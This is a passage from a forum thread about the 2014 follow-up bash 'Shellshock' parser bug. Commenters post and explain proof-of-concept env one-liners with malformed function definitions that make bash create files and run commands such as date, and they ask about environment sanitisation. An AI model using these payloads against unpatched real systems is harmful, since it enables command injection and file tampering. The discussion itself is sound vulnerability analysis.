11–20 of 226 posts
The same trick can be used to read files as well
$ date -u > file1
$ env -i X='() { (a)=PoC floating around: rm -f echo && env -i X='() { (a)=>\' bash -c 'echo date'; cat echo
Your unescaped quotes don't pair up.
echo 'abc\'
The \' in the original command isn't trying to escape the quote, it's ending the environment variable in a "\"
env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/'; head echo
Creates file called echo and outputs the contents using head.
(from https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c24)
Earlier quoted context omitted.
Your unescaped quotes don't pair up.
They don't need to. "\" isn't an escape sequence inside single-quotes. echo 'abc\' will echo 4 characters: a , b , c and \ The \' in the original command isn't trying to escape the quote, it's ending the environment variable in a "\"
Is the naughty thing that the improper function def is supposed to prevent bash to be executed?
If so, I still dont get how this is a possible RCE. nothing from the environment variable definition persists.
Earlier quoted context omitted.
They don't need to. "\" isn't an escape sequence inside single-quotes. echo 'abc\' will echo 4 characters: a , b , c and \ The \' in the original command isn't trying to escape the quote, it's ending the environment variable in a "\"
not sure I follow this either. So you are setting a variable with a function def which is not supposed to be allowed, and calling bash. Is the naughty thing that the improper function def is supposed to prevent bash to be executed? If so, I still dont get how this is a possible RCE. nothing from the environment variable definition persists.
Try this slight variation:
$ export X="() { (a)=>\\"
$ bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ cat echo
Thu Sep 25 02:27:07 UTC 2014
AFAICT (without digging deep into the code) that leave in the execution buffer as ">\[NEWLINE]echo date" which gets treated the same as
date > echo
See one of my other comments for an example that uses the same flaw to read files.
I don't think anyone has found an RCE path for it yet though.
1. Does zsh (or other shells) also have these kind of string processings where bugs are likely?
2. Is there a way to completely remove bash from the system and use zsh (or other shells) instead?
Earlier quoted context omitted.
not sure I follow this either. So you are setting a variable with a function def which is not supposed to be allowed, and calling bash. Is the naughty thing that the improper function def is supposed to prevent bash to be executed? If so, I still dont get how this is a possible RCE. nothing from the environment variable definition persists.
Reproduced from other discussion thread Try this slight variation: $ export X="() { (a)=>\\" $ bash -c 'echo date' bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' $ cat echo Thu Sep 25 02:27:07 UTC 2014 Setting "X" in that way confuses the bash env variable parser. It barfs at the "=" and leaves the ">\" unparsed AFAICT (without digging dee…
Under normal circumstances:
$ bash -c 'echo date'
date
date > echo:
$ export X="() { (a)=>\\"
$ bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ cat echo
Wed Sep 24 22:38:19 EDT 2014
Earlier on a mailing list someone pointed out that there is still an awful lot of string processing going on by bash even after this afternoon's fix. So further bugs were likely to be found now that everyone is constantly sniffing around the place.
For people who want to do environment sanitation, do we know what values can trigger this 'feature'? Is it only "()" as the first two characters? First two non-whitespace characters?